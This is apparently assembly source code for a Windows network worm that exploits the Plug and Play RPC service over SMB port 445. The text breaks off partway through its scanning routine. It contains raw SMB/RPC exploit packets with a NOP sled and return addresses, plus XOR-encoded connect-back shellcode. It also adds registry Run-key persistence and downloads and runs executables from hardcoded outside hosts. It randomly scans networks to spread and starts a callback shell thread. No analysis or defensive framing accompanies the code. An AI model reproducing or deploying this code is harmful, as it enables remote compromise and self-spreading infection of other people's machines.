CPU 386
[BITS 32]

;To compile:
;nasmw -O6 -fwin32 PnP.asm
;link /RELEASE /entry:entry /subsystem:windows PnP.obj [libs]


SCAN_THREADS		EQU	10
MAX_THREADS		EQU	80	;only @AttackPnP threads
TIMEOUT			EQU	5000
SMB_RECV_TIMEOUT	EQU	60	;seconds
STACK_SIZE		EQU	0x3000	;only @AttackPnP threads
FL_EXECUTE_URL		EQU	1
FL_NOEXEC_URL		EQU	0



%macro	API	2
	%xdefine	%1	_%1@%2
	extern	%1
%endmacro

%macro	API	3
	%xdefine	%1	_%3@%2
	extern	%1
%endmacro



API	WSAStartup,			8
API	Sleep,				4
API	InternetGetConnectedState,	8
API	GetVersion,			0
API	CreateThread,			24
API	ExitThread,			4
API	GetCurrentThreadId,		0
API	CloseHandle,			4
API	GetTickCount,			0
API	WaitForSingleObject,		8
API	CreateMutex,			12,	CreateMutexA
API	ReleaseMutex,			4
API	InitializeCriticalSection,	4
API	EnterCriticalSection,		4
API	LeaveCriticalSection,		4
API	lstrlen,			4,	lstrlenA
API	GetModuleFileName,		12,	GetModuleFileNameA
API	GetLastError,			0
API	ExitProcess,			4
API	GetFileSize,			8
API	CreateFile,			28,	CreateFileA
API	WriteFile,			20
API	CreateFileMapping,		24,	CreateFileMappingA
API	MapViewOfFile,			20
API	CreateProcess,			40,	CreateProcessA
API	GetModuleHandle,		4,	GetModuleHandleA
API	LoadLibrary,			4,	LoadLibraryA	
API	GetProcAddress,			8

API	RegOpenKeyEx,			20,	RegOpenKeyExA
API	RegSetValueEx,			24,	RegSetValueExA
API	RegCloseKey,			4,	RegCloseKey


API	socket,				12
API	ioctlsocket,			12
API	connect,			12
API	bind,				12
API	listen,				8
API	accept,				12
API	select,				20
API	closesocket,			4
API	getpeername,			12
API	getsockname,			12
API	gethostname,			8
API	gethostbyname,			4
API	inet_ntoa,			4
API	send,				16
API	recv,				16


%xdefine	wsprintf	_wsprintfA
extern		wsprintf

%xdefine	memcpy		_memcpy
extern		memcpy



SOCK_STREAM		EQU	1
SOCK_DGRAM		EQU	2
IPPROTO_UDP		EQU	17
SOMAXCONN		EQU	0x7fffffff

ERROR_ALREADY_EXISTS	EQU	183
FIONBIO			EQU	0x8004667e
KEY_WRITE		EQU	0x20006	
HKEY_LOCAL_MACHINE	EQU	0x80000002
REG_SZ			EQU	1
FILE_SHARE_READ		EQU	1
OPEN_EXISTING		EQU	3
CREATE_ALWAYS		EQU	2
GENERIC_READ		EQU	0x80000000
GENERIC_WRITE		EQU	0x40000000
PAGE_READONLY		EQU	2
FILE_MAP_READ		EQU	4


section .bss

CONNECTED	resd	1
THREADNUM	resd	1	;<--|
OSVERSION	resd	1
CS_THREADNUM	resd	6
CS_LOOP		resd	6
MTX_CBACK	resd	1
dwLocalIPs	resd	1
lpLocalIPs	resd	SCAN_THREADS
WSADATA_LEN	EQU	400
WSADATA		resb	WSADATA_LEN
dwFileSize	resd	1
dwFilePointer	resd	1
dwFileNameLen	EQU	512
szFileName	resb	dwFileNameLen
HTTP_BUFFER_LEN	EQU	(1024 * 4)
HTTP_BUFFER	resb	HTTP_BUFFER_LEN



section .rdata

STR_IPC		DB	'\\%s\IPC$',0
szMutexName	DB	'Hiberium',0
szStartupKey	DB	'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szStartupValue	DB	'MSPRO32',0
STR_WS2_32	DB	'WS2_32',0
STR_WSASocket	DB	'WSASocketA',0
STR_CMD		DB	'cmd',0

HTTP_FMT	DB	'GET %s HTTP/1.1', 0dH, 0Ah,
		DB	'Host: %s', 0dH, 0AH,
		DB	'Connection: close',
		DB	0dh, 0ah, 0dh, 0ah, 0

URLS		DB	'strtt.interfree.it/VfProtect.exe', 0,
		DB	FL_EXECUTE_URL,

		DB	'strtt.interfree.it/Hiberium.rar', 0,
		DB	FL_NOEXEC_URL,

		DB	'utenti.lycos.it/strtt/VfProtect2.exe', 0,
		DB	FL_EXECUTE_URL,

		DB	'utenti.lycos.it/strtt/Hiberium2.rar', 0,
		DB	FL_NOEXEC_URL,

		DB	0	;end of urls


SMB_Negotiate	\
	DB     0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00,
	DB     0x00, 0x18, 0x53, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00,
	DB     0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
	DB     0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31,
	DB     0x2E, 0x30, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E,
	DB     0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x66,
	DB     0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
	DB     0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E,
	DB     0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41,
	DB     0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20,
	DB     0x30, 0x2E, 0x31, 0x32, 0x00
SMB_Negotiate_LEN	EQU	($-SMB_Negotiate)

SMB_SessionSetupAndX	\
	DB 0x00, 0x00, 0x00, 0xA4, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, 
	DB 0x00, 0x00, 0x10, 0x00, 0x0C, 0xFF, 0x00, 0xA4, 0x00, 0x04, 0x11, 0x0A, 0x00, 0x00, 0x00, 0x00, 
	DB 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0x80, 0x69, 0x00, 0x4E, 
	DB 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xE0, 0x00, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	DB 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 
	DB 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 
	DB 0x35, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 
	DB 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, 
	DB 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00
SMB_SessionSetupAndX_LEN	EQU	($-SMB_SessionSetupAndX)

SMB_SessionSetupAndX2	\
	DB 0x00, 0x00, 0x00, 0xDA, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, 
	DB 0x00, 0x08, 0x20, 0x00, 0x0C, 0xFF, 0x00, 0xDA, 0x00, 0x04, 0x11, 0x0A, 0x00, 0x00, 0x00, 0x00, 
	DB 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0x80, 0x9F, 0x00, 0x4E, 
	DB 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x46, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x40, 
	DB 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x47, 0x00, 0x00, 0x00, 0x15, 0x8A, 0x88, 0xE0, 0x48, 
	DB 0x00, 0x4F, 0x00, 0x44, 0x00, 0x00, 0xED, 0x41, 0x2C, 0x27, 0x86, 0x26, 0xD2, 0x59, 0xA0, 0xB3, 
	DB 0x5E, 0xAA, 0x00, 0x88, 0x6F, 0xC5, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 
	DB 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 
	DB 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 
	DB 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 
	DB 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00
SMB_SessionSetupAndX2_LEN	EQU	($-SMB_SessionSetupAndX2)

SMB_TreeConnectAndX	\
	DB 0x00, 0x00, 0x00, 0x5A, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, 
	DB 0x00, 0x08, 0x30, 0x00, 0x04, 0xFF, 0x00, 0x5A, 0x00, 0x08, 0x00, 0x01, 0x00, 0x2F, 0x00, 0x00
SMB_TreeConnectAndX_LEN		EQU	($-SMB_TreeConnectAndX)

SMB_TreeConnectAndX_	\
	DB	0x00, 0x00, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00
SMB_TreeConnectAndX__LEN	EQU	($-SMB_TreeConnectAndX_)

SMB_PipeRequest_browser		\
	DB 0x00, 0x00, 0x00, 0x66, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x78, 0x04, 
	DB 0x00, 0x08, 0x40, 0x00, 0x18, 0xFF, 0x00, 0xDE, 0xDE, 0x00, 0x10, 0x00, 0x16, 0x00, 0x00, 0x00, 
	DB 0x00, 0x00, 0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 
	DB 0x02, 0x00, 0x00, 0x00, 0x03, 0x13, 0x00, 0x00, 0x5C, 0x00, 0x62, 0x00, 0x72, 0x00, 0x6F, 0x00, 
	DB 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00
SMB_PipeRequest_browser_LEN	EQU	($-SMB_PipeRequest_browser)

SMB_PNPEndpoint		\
	DB 0x00, 0x00, 0x00, 0x9C, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x78, 0x04, 
	DB 0x00, 0x08, 0x50, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
	DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x48, 0x00, 0x54, 0x00, 0x02, 
	DB 0x00, 0x26, 0x00, 0x00, 0x40, 0x59, 0x00, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 
	DB 0x45, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x40, 0x00, 0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 
	DB 0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x10, 0xB8, 0x10, 0x00, 0x00, 0x00, 0x00, 
	DB 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x40, 0x4E, 0x9F, 0x8D, 0x3D, 0xA0, 0xCE, 0x11, 
	DB 0x8F, 0x69, 0x08, 0x00, 0x3E, 0x30, 0x05, 0x1B, 0x01, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 
	DB 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
SMB_PNPEndpoint_LEN		EQU	($-SMB_PNPEndpoint)

RPC_call		\
	DB     0x00, 0x00, 0x08, 0x90, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00,
	DB     0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x78, 0x04, 0x00, 0x08, 0x60, 0x00,
	DB     0x10, 0x00, 0x00, 0x3C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x3C,
	DB     0x08, 0x54, 0x00, 0x02, 0x00, 0x26, 0x00, 0x00, 0x40, 0x4D, 0x08, 0x00,
	DB     0x5C, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, 0x5C, 0x00,
	DB     0x00, 0x00, 0x40, 0x00, 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
	DB     0x3C, 0x08, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x24, 0x08, 0x00, 0x00,
	DB     0x00, 0x00, 0x36, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	DB     0x11, 0x00, 0x00, 0x00, 0x52, 0x00, 0x4F, 0x00, 0x4F, 0x00, 0x54, 0x00,
	DB     0x5C, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x54, 0x00, 0x45, 0x00,
	DB     0x4D, 0x00, 0x5C, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xE0, 0x07, 0x00, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x07, 0x00, 0x00,
	DB     0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	DB     0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90,
	DB     0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76,
	DB     0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90,
	DB     0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76,
	DB     0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90,
	DB     0x67, 0x15, 0x7A, 0x76, 0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76,
	DB     0xEB, 0x08, 0x90, 0x90, 0x67, 0x15, 0x7A, 0x76, 0x90, 0x90, 0x90, 0x90,
	DB     0x90, 0x90, 0x90, 0xEB, 0x08, 0x90, 0x90, 0x48, 0x4F, 0x44, 0x88, 0x90,
	DB     0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	DB     0x90, 0x90, 0x90, 0x90
RPC_call_LEN		EQU	($-RPC_call)

RPC_call_end		\
	DB 0xE0, 0x07, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
RPC_call_end_LEN	EQU	($-RPC_call_end)



section .data

SHELLCODE_IP		EQU	327
SHELLCODE_PORT		EQU	334
SHELLCODE_XORIP		EQU	0x154F1E2D
SHELLCODE_XORPORT	EQU	0x2d15



;download connect
shellcode		\
	DB     0x33, 0xC9, 0x81, 0xE9, 0x92, 0xFF, 0xFF, 0xFF, 0xE8, 0xFF, 0xFF, 0xFF,
	DB     0xFF, 0xC0, 0x5E, 0x81, 0x76, 0x0E, 0x2D, 0x1E, 0x4F, 0x15, 0x83, 0xEE,
	DB     0xFC, 0xE2, 0xF4, 0xD1, 0xF6, 0x32, 0x15, 0x2D, 0x1E, 0x1A, 0x43, 0x7A,
	DB     0x95, 0x0C, 0x29, 0xA0, 0x6A, 0x4C, 0x6D, 0x80, 0xE1, 0x79, 0x14, 0xF5,
	DB     0x4E, 0xC4, 0x5D, 0x35, 0x95, 0x27, 0x35, 0x2C, 0xC3, 0xAC, 0x49, 0x64,
	DB     0x95, 0x3B, 0x98, 0x2D, 0x1F, 0x91, 0x24, 0xD2, 0x2F, 0x8F, 0xB9, 0x15,
	DB     0xFE, 0x3B, 0x12, 0xEC, 0xD1, 0x42, 0x14, 0xEA, 0xF5, 0xBD, 0x2C, 0xFA,
	DB     0x6B, 0xAC, 0x48, 0xA6, 0x4B, 0x6B, 0x14, 0xF7, 0x78, 0xC4, 0x19, 0x67,
	DB     0x95, 0x1A, 0x09, 0x2C, 0xC4, 0xC4, 0x11, 0xA7, 0x1F, 0x97, 0x4C, 0x7D,
	DB     0x37, 0xA7, 0x2C, 0xE5, 0x46, 0x38, 0x32, 0xBB, 0x9D, 0xA3, 0x55, 0xA4,
	DB     0xF9, 0xE5, 0xB9, 0x11, 0x30, 0x3A, 0xEF, 0xEB, 0x19, 0x4F, 0x9C, 0xCA,
	DB     0x59, 0xC4, 0x79, 0x09, 0x56, 0x18, 0xEA, 0x78, 0xE6, 0x19, 0x45, 0xD2,
	DB     0x4B, 0xBB, 0x96, 0xE9, 0x26, 0xFE, 0x14, 0xAE, 0xDA, 0x47, 0x4A, 0x73,
	DB     0x43, 0x8C, 0x71, 0x8C, 0x2E, 0x4F, 0x15, 0x2D, 0x9B, 0x8F, 0x6D, 0x21,
	DB     0x95, 0x0F, 0x19, 0xA6, 0x6E, 0x53, 0xB8, 0xA6, 0x46, 0x47, 0xFE, 0x24,
	DB     0x95, 0x0F, 0x21, 0xA6, 0x86, 0xF7, 0x15, 0x2D, 0x1E, 0x10, 0x9C, 0xC8,
	DB     0x4D, 0xF5, 0x9B, 0x63, 0x10, 0xA3, 0xEA, 0xFA, 0x4E, 0xF5, 0xBF, 0xD1,
	DB     0x13, 0x33, 0xEA, 0xFA, 0x4E, 0x1F, 0xFD, 0x39, 0x1E, 0x4F, 0x15, 0xD6,
	DB     0x89, 0xB2, 0x1A, 0x88, 0x09, 0x4F, 0x69, 0x32, 0x67, 0x45, 0xFD, 0xC2,
	DB     0xD0, 0xAF, 0x75, 0x5F, 0xE0, 0xFC, 0x03, 0x73, 0x74, 0x4A, 0x4C, 0x7C,
	DB     0xB3, 0xDD, 0xEA, 0xFA, 0x47, 0x1F, 0xF7, 0xDA, 0xF6, 0x53, 0x15, 0x2D,
	DB     0x1E, 0x18, 0x46, 0x1F, 0x41, 0x7C, 0x27, 0x2D, 0x1E, 0x84, 0xF8, 0xD1,
	DB     0x25, 0x21, 0x1E, 0x02, 0x57, 0xA8, 0x6C, 0xEB, 0x67, 0xA3, 0xEC, 0x87,
	DB     0x7E, 0xF9, 0x0C, 0x35, 0xF9, 0x11, 0x43, 0xD2, 0x4B, 0xB7, 0x86, 0x47,
	DB     0x1B, 0x16, 0xB8, 0x80, 0x4F, 0xE2, 0x87, 0xD2, 0xC9, 0x16, 0x45, 0xCF,
	DB     0xE9, 0xCE, 0xF9, 0x2D, 0x1C, 0x4F, 0x15, 0x79, 0x74, 0x4D, 0xEA, 0x78,
	DB     0xC6, 0x7E, 0xD5, 0x7D, 0x4E, 0x1F, 0x7F, 0x2C, 0x74, 0x4D, 0xEA, 0x78,
	DB     0xCA, 0xDC, 0x7D, 0x52, 0x1E, 0x4F, 0x14, 0x45, 0x1C, 0x4F, 0x37, 0x3C,
	DB     0x97, 0xAD, 0x7F, 0x2D, 0x74, 0x49, 0x7F, 0x2F, 0x74, 0x4F, 0x7F, 0x2C,
	DB     0x76, 0x4F, 0x15, 0x2D, 0x5E, 0xA7, 0x1E, 0x2D, 0x1E, 0x4F, 0x78, 0x5E,
	DB     0x7D, 0x2E, 0x61, 0x5D, 0x30, 0x2A, 0x6D, 0x48, 0x1E, 0x17, 0x9C, 0x68,
	DB     0xEE, 0x1F, 0x7F, 0x3D, 0x4C, 0x1C, 0xEA, 0x78, 0xD2, 0x46, 0xD5, 0x58,
	DB     0x36, 0xB0, 0x40, 0xC5, 0x88, 0x0F, 0x61, 0x0C, 0x97, 0xA8, 0x7F, 0x2D,
	DB     0x76, 0x4F, 0x17, 0x2D, 0x1E, 0x18, 0x46, 0xD2, 0x4B, 0x87, 0x1C, 0xED,
	DB     0x60, 0x44, 0x7F, 0x2D, 0x4A, 0x1F, 0x42, 0x7B, 0xE1, 0x1A, 0xF1, 0xC6,
	DB     0xFB, 0x19, 0xEA, 0x78, 0xF2, 0x1C, 0xEA, 0x78, 0xCE, 0x1B, 0x98, 0x51,
	DB     0x3A, 0x5B, 0x42, 0x1C, 0xDE, 0x25, 0x51, 0x74, 0x97, 0x40, 0x52, 0xDE,
	DB     0xB4, 0xFE, 0x12, 0x7D, 0xFC, 0xB2, 0xEA, 0x58, 0xEE, 0xB0, 0x40, 0xF1,
	DB     0xE1, 0x1A, 0xF9, 0xD2, 0x4B, 0xA3, 0x7F, 0x2D, 0xE1, 0x1A, 0xF5

shellcode_LEN		EQU	($-shellcode)





section .text execute
GLOBAL _entry


_entry:
	mov ebp, esp
	push szMutexName
	push 1
	push 0
	call CreateMutex
	call GetLastError
	cmp eax, ERROR_ALREADY_EXISTS
	jne .1st

	push 0
	call ExitProcess

.1st
	mov esi, WSADATA
	push esi		;[ebp - 4]
	push esi
	push byte 2
	call WSAStartup

	call GetVersion
	mov [OSVERSION], eax

	push CS_LOOP
	call InitializeCriticalSection
	push CS_THREADNUM
	call InitializeCriticalSection

	xor eax, eax
	mov [THREADNUM], eax
	push eax

	push esp		;phkResult
	push KEY_WRITE
	push eax
	push szStartupKey
	push HKEY_LOCAL_MACHINE

	push eax
	push eax
	push eax
	call CreateMutex
	mov [MTX_CBACK], eax

	call RegOpenKeyEx
	pop ebx
	or eax, eax
	jnz .reg1

	mov esi, [ebp - 4]
	mov BYTE [esi], '"'
	push esi
	push esi		;lstrlen
	inc esi

	push WSADATA_LEN-1
	push esi
	push eax
	call GetModuleFileName
	call lstrlen
	pop esi
	mov BYTE [esi + eax], '"'
	inc eax
	mov BYTE [esi + eax], 0
	inc eax

	push eax
	push esi
	push REG_SZ
	push 0
	push szStartupValue
	push ebx
	call RegSetValueEx

	push ebx
	call RegCloseKey

.reg1
	xor eax, eax
	push eax

	push esp
	push eax
	push eax
	push @FileServer
	push eax
	push eax
	call CreateThread
	push eax
	call CloseHandle



.NotConn				;Primary Thread loop
	push dword TIMEOUT
	call Sleep

	push 0
	push esp
	call InternetGetConnectedState
	or eax, eax
	jz .NotConn

	mov [CONNECTED], eax		;TRUE

	call @InitShellcode
	call @Download

	push byte SCAN_THREADS
	pop ecx
	mov edi, lpLocalIPs
	push edi
	call @GetLocalIPs

	mov eax, [OSVERSION]
	or eax, eax
	sets al
	movzx eax, al
	dec eax

	push SCAN_THREADS -1
	pop ecx
	AND ecx, eax
	inc ecx
	inc ecx

	pop esi
	mov edi, [dwLocalIPs]

.CreateScanThreads
	push ecx

	xor edx, edx
	push WSADATA		;lpThreadID
	push edx		;dwCreationFlags
	xor eax, eax
	or edi, edi
	jz .Nip

	lodsd
	dec edi
.Nip
	push eax		;lpParameter (local IPs)
	push @Scan		;lpStartRoutine
	dec ecx
	jnz .scan

.cback
	pop eax
	push @Cback		;Cback shell thread
.scan
	push edx
	push edx
	call CreateThread
	push eax
	call CloseHandle
	pop ecx
	loop .CreateScanThreads

.Conn
	push dword TIMEOUT
	call Sleep

	push 0
	push esp
	call InternetGetConnectedState
	or eax, eax
	jnz .Conn

	mov [CONNECTED], eax		;FALSE
	jmp .NotConn



@InitShellcode:
	push ebp
	mov ebp, esp

	xor eax, eax
	push eax
	push eax

	push byte IPPROTO_UDP
	push byte SOCK_DGRAM
	push byte 2
	call socket
	xchg ebx, eax

	push 0xBECF3752
	push 0x11220002

	mov edx, esp
	push 0x10
	push edx
	push ebx
	call connect

	mov edx, esp
	push 0x10
	push esp
	push edx
	push ebx
	call getsockname

	mov edx, [esp + 8]
	push ebx
	or eax, eax
	jz .1

	mov esi, WSADATA
	push esi		;gethostbyname

	push WSADATA_LEN
	push esi
	call gethostname
	call gethostbyname

	or eax, eax
	jz .1
	mov esi, [eax + 12]
	lodsd
	or eax, eax
	jz .1
	mov edx, [eax]

.1
;SHELLCODE IP
	xor edx, SHELLCODE_XORIP
	mov DWORD [shellcode + SHELLCODE_IP], edx
	call closesocket

	leave
	ret


;ARGS:	edi = DWORD array
;	ecx = array items
@GetLocalIPs:

	push ecx
	push byte 0
	call gethostbyname

	pop ecx

	xor ebx, ebx
	or eax, eax
	jz .end

	mov esi, [eax + 12]		;h_addr_list

.1
	lodsd
	or eax, eax
	jz .end

	mov eax, [eax]
	cmp al, 127
	jnz .2

	inc ecx
	jmp short .l1

.2
	stosd
	inc ebx
.l1
	loop .1

.end
	mov [dwLocalIPs], ebx

.ret
	ret




;ARG1:	IP address or 0
;
@Scan:
	mov ebp, esp
	xor ebx, ebx

	push ebx
	push ebx
				%xdefine	 _445OPEN	[ebp - 0x4]
				%xdefine	 NUM_IPDUP	[ebp - 0x8]
	push ebx
	push ebx	;sin.zero
	push ebx	;ip

				%xdefine	 IP_4	[ebp - 0x11]	;class D
				%xdefine	 IP_3	[ebp - 0x12]	;class C
				%xdefine	 IP_2	[ebp - 0x13]	;class B
				%xdefine	 IP	[ebp - 0x14]


	push dword (2 | ((((445 << 8) & 0xFF00) | ((445 >> 8) & 0xFF)) << 16)  )

				%xdefine	 SIN	[ebp - 0x18]

	sub esp, 0x10
				%xdefine	 RAND_SEED	[ebp - 0x1C]
				LOCAL_DATA_SIZE  EQU	(0x18 + 0x10)

	call @randinit
	mov eax, [ebp + 4]
	or eax, eax
	jz @Net_loop

	mov IP, eax
	jmp short @sock_arr

@Net_loop
	mov byte IP_4, 0

	cmp dword _445OPEN, byte 0
	jnle .c
.r
	call @GetRandomNet
	mov IP, ebx
	jmp short @sock_arr
.c
	inc byte IP_3		; inc class C net
	jnz @sock_arr
	inc byte IP_2		; inc class B
	jz .r

@sock_arr
	xor ecx, ecx
	mov cl, 64

@sock_loop
	inc byte IP_4
	cmp byte IP_4, 0xFF
	je @Select
	push ecx			; counter

		push byte 0
		push byte 1
		push byte 2
		call socket
		mov ebx, eax
		push esp			; ecx = TRUE
		push FIONBIO
		push ebx
		call ioctlsocket

		push byte 0x10
		lea eax, SIN
		push eax
		push ebx
		call connect
		call @sleep

	pop ecx
	push ebx		;save sockets on stack
	loop @sock_loop

@Select
	mov ch, 64
	sub ch, cl
	jz @end_loop		; (<- should never happen)
	movzx ecx, ch
	mov esi, esp
	mov ebx, esp		; socket array
	mov _445OPEN, ecx

.fd_set
	lodsd
	push eax		; fd_array
	call @sleep
	loop .fd_set

	mov edx, _445OPEN
	push edx		; fd_count
	mov esi, esp

	push edx	 	; CloseSockArr (sock count <= 64)
	push ebx		; CloseSockArr (pointer to socket array)

	push ecx
	push ecx
	push esp		; tv { 0,0 } poll
	push ecx		; exceptfds
	push esi		; writefds
	push ecx		; readfds
	push ecx
	push dword TIMEOUT	; 5 sec.
	call Sleep
	call select
	add esp, byte 8
	mov _445OPEN, eax

	or eax, eax
	jle @select_end		; 0 | -1

	lodsd			; fd_count
	mov ecx, eax

.open_loop
	lodsd			; fd_array
	call @PortOpen
	call @sleep
	loop .open_loop

@select_end
	call @CloseSockArr		; ebx, edx
@end_loop

	mov esp, ebp
